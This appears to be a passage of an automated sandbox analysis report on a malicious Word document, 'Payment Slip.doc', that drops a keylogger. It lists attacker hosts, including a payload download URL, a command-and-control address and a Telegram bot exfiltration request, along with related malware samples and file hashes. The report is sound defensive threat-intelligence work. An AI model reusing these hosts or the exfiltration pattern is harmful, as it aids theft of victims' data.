https://ac.ecosia.org/autocomplete?q=	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exej	EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003521000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exea	EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.123/txt/LLnsOpxxAnmWi.exee	EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=net	vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/indextest	vvndewepeter91026.exe, 00000008.00000002.914618854.00000000034B2000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000347A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003566000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003458000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000352E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
66.63.187.123	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	true
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	unknown	United States	31898	ORACLE-BMC-31898US	false
158.101.44.242	unknown	United States	31898	ORACLE-BMC-31898US	false
132.226.247.73	unknown	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519173
Start date and time:	2024-09-26 07:46:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment Slip.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@9/14@23/9
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 56 Number of non-executed functions: 120
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 76845.7787459055 for current running targets taking high CPU consumption Override analysis time to 153691.557491811 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3360 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Payment Slip.doc

Simulations

Behavior and APIs

Time	Type	Description
01:47:15	API Interceptor	330x Sleep call for process: EQNEDT32.EXE modified
01:47:21	API Interceptor	8467010x Sleep call for process: vvndewepeter91026.exe modified
01:47:23	API Interceptor	21x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z9OutstandingPayment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	MCB_09252024.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PI-96328635,PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Products List.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.RATX-gen.3768.11045.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	https://link.edgepilot.com/s/ac2abbfe/hqsaYDfTTkaTmtUeMi97cg?u=https://telecommunications-delicious-oriental-hu.trycloudflare.com/owa%23jfrench@coastalorthopedics.com	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse
	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Confirmaci#U00f3n de pago_shrunk.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.14926.30373.exe	Get hash	malicious	MicroClip	Browse
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AS5AB7c08n.exe	Get hash	malicious	MicroClip	Browse
188.114.97.3	http://www.tiktok758.com/	Get hash	malicious	Unknown	Browse	www.tiktok758.com/img/logo.4c830710.svg
	TRmSF36qQG.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?0T5=UL08qvZHLtV&EnAHS=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4JOdI1EXss+
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2wnz/
	(PO403810)_VOLEX_doc.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/DiF66Hbf/download
	http://easyantrim.pages.dev/id.html	Get hash	malicious	HTMLPhisher	Browse	easyantrim.pages.dev/id.html
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/13rSMZZi/download
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/yhsl/
	PO-001.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	z95g0YV3PKzM3LA5zt.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	E-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
api.telegram.org	https://link.edgepilot.com/s/ac2abbfe/hqsaYDfTTkaTmtUeMi97cg?u=https://telecommunications-delicious-oriental-hu.trycloudflare.com/owa%23jfrench@coastalorthopedics.com	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Confirmaci#U00f3n de pago_shrunk.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.MalwareX-gen.14926.30373.exe	Get hash	malicious	MicroClip	Browse	149.154.167.220
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AS5AB7c08n.exe	Get hash	malicious	MicroClip	Browse	149.154.167.220
checkip.dyndns.com	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	z95g0YV3PKzM3LA5zt.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.130.0
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	E-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	file.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	http://mintlink32.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	https://bostempek.vercel.app/	Get hash	malicious	Porn Scam	Browse	149.154.167.99
	https://telegram-privatefree.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://tes.lavender8639.workers.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://live-prons-sex.pages.dev/	Get hash	malicious	Porn Scam	Browse	149.154.167.99
	https://telegrambot-resolved.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://tw2-mzd.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://singaporeprivacygroup.vipsg3.my.id/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://link.edgepilot.com/s/ac2abbfe/hqsaYDfTTkaTmtUeMi97cg?u=https://telecommunications-delicious-oriental-hu.trycloudflare.com/owa%23jfrench@coastalorthopedics.com	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Telco 32pcs New Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	envifa.vbs	Get hash	malicious	Unknown	Browse	172.67.19.24
	https://redfoxgroup.ladesk.com/402755-APAR	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://docs-i-trezor.github.io/en-us/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://banlombiasucursalvirtughasd.vercel.app/	Get hash	malicious	Unknown	Browse	104.26.0.188
	https://cutt.ly/EeUeu5Iy/	Get hash	malicious	Unknown	Browse	172.67.8.238
	https://start-m-trezar.github.io/	Get hash	malicious	HTMLPhisher	Browse	104.16.96.114
	https://check-hticompialnt520842.com/sign-in?op_token=6QouodMTj42Y9R6vu7f7F4jkiiAw5e0RnP0YJ7kaakP7NW4bImz7RzENOq9XAroPzLQq7OQtDzJlNnfUSwkvnHQF3HnsYuhEh8y&uuid=3334009b-8512-457f-a8c7-c29303c4adbc&hash=lrio35yeh&language=en	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://lmoriw-iekascma-oqmmcq-213-cmakwe-fgacsax.pages.dev/robots.txt/	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://expressss-venezuela.pages.dev/robots.txt/	Get hash	malicious	Unknown	Browse	172.66.47.120
UTMEMUS	z95g0YV3PKzM3LA5zt.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	file.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	132.226.247.73
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
ASN-QUADRANET-GLOBALUS	http://tw2-mzd.pages.dev/	Get hash	malicious	Unknown	Browse	103.79.78.105
	Sept order.doc	Get hash	malicious	FormBook	Browse	66.63.187.123
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	66.63.187.123
	rPROFORMAINVOICE-PO_ATS_1036.exe	Get hash	malicious	XWorm	Browse	67.215.224.133
	34467890.doc	Get hash	malicious	Unknown	Browse	66.63.187.123
	Swift.doc	Get hash	malicious	AgentTesla	Browse	66.63.187.123
	XjPA2pnUhC.exe	Get hash	malicious	Remcos, DBatLoader	Browse	192.161.184.44
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	66.63.187.123
	https://2836500.vip/	Get hash	malicious	Unknown	Browse	27.0.235.55
	#U0631#U0648#U0632 #U0633#U06cc#U0627#U0647 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	45.95.233.246

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	1zbL83sqmd.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	K0hpP6V2fo.rtf	Get hash	malicious	DBatLoader, Remcos	Browse	188.114.96.3
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	SPEC.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	Payment Slip.xls	Get hash	malicious	DBatLoader, Remcos	Browse	188.114.96.3
	US0914424A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	US091024A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
36f7277af969a6947a61ae0b815907a1	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	149.154.167.220
	14bnOjMV2N.doc	Get hash	malicious	Unknown	Browse	149.154.167.220
	6b58b6.msi	Get hash	malicious	PureLog Stealer	Browse	149.154.167.220
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	149.154.167.220
	RFQ.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	149.154.167.220
	SWIFT DETAILS-ERROR.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.26981.24309.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	7.875943883609069
Encrypted:	false
SSDEEP:	12288:nqR++ZR3W83B1LViDaDHkzrmvK0eVMfNHczr9wdG7gZf0mMlJEdtTJJ:nE++Zc8NilrAKHV+NHcH9F7jmMb4
MD5:	42F2CE52A57E0D72EAC297A532354E42
SHA1:	7F2F1EF38365147865F1CEC2C1D0AD62CDC6F7D0
SHA-256:	516FFDB4EF149292E235BEA6B676674D973E52C3382FDD3C40F85245F9E564BA
SHA-512:	6BD38183780B7DC761CFEAAFB3742F17A1CEADE827FC0D815CFF8969F0FD530E4ACE5FB70754E056FED44939EF774A4F5EF4B6A7FE9EC2F4C43BB3C49D4BFEEE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0......$......v.... ........@.. ....................... ............@.................................$...O........ ........................................................................... ............... ..H............text...\|.... ...................... ..`.rsrc.... ......."..................@..@.reloc..............................@..B................X.......H........Y..\5..........,....&...........................................0..\|........(..........(....}......{....(....}........(....}........(....}........(....}........(....}........(....}........(....}.....0..!..........(.... l...Y m...Z..(....X.+......0..m........s....}..... ....}.....#......cA}..... .ig.}.....#......c.}..... .'....s....}........s....}......}......}.....(.......(.......8..........>...%..,.o....s.......{.....{....(....}......{.....{....( ...}......{.....{

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{157143B9-2766-47C9-9254-225D23463B9D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{17D0AF65-F169-479E-942C-DF6319E03037}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3555252507007243
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbA:IiiiiiiiiifdLloZQc8++lsJe1Mzv
MD5:	B9DE074B26F93378087E65632F5B3E54
SHA1:	0521D122DB3C1EF4D9647CAF952FB54EBF12A981
SHA-256:	462BD338357DAB74AF45A1DDF6F2D14257BE8013E95D7E88DD8A029921C0E1BD
SHA-512:	7D20666DD9907436357EBA3CF9DDE0DFFA84B01192477BD483B4EC3EEB9730A28E3A7D51C4EFB951F2E8230CC6A85753B82464441AFD2A29591E946856C0CE5E
Malicious:	false
Reputation:	low
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D8964A50-9018-4193-BC8F-CBF79CAD82D1}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
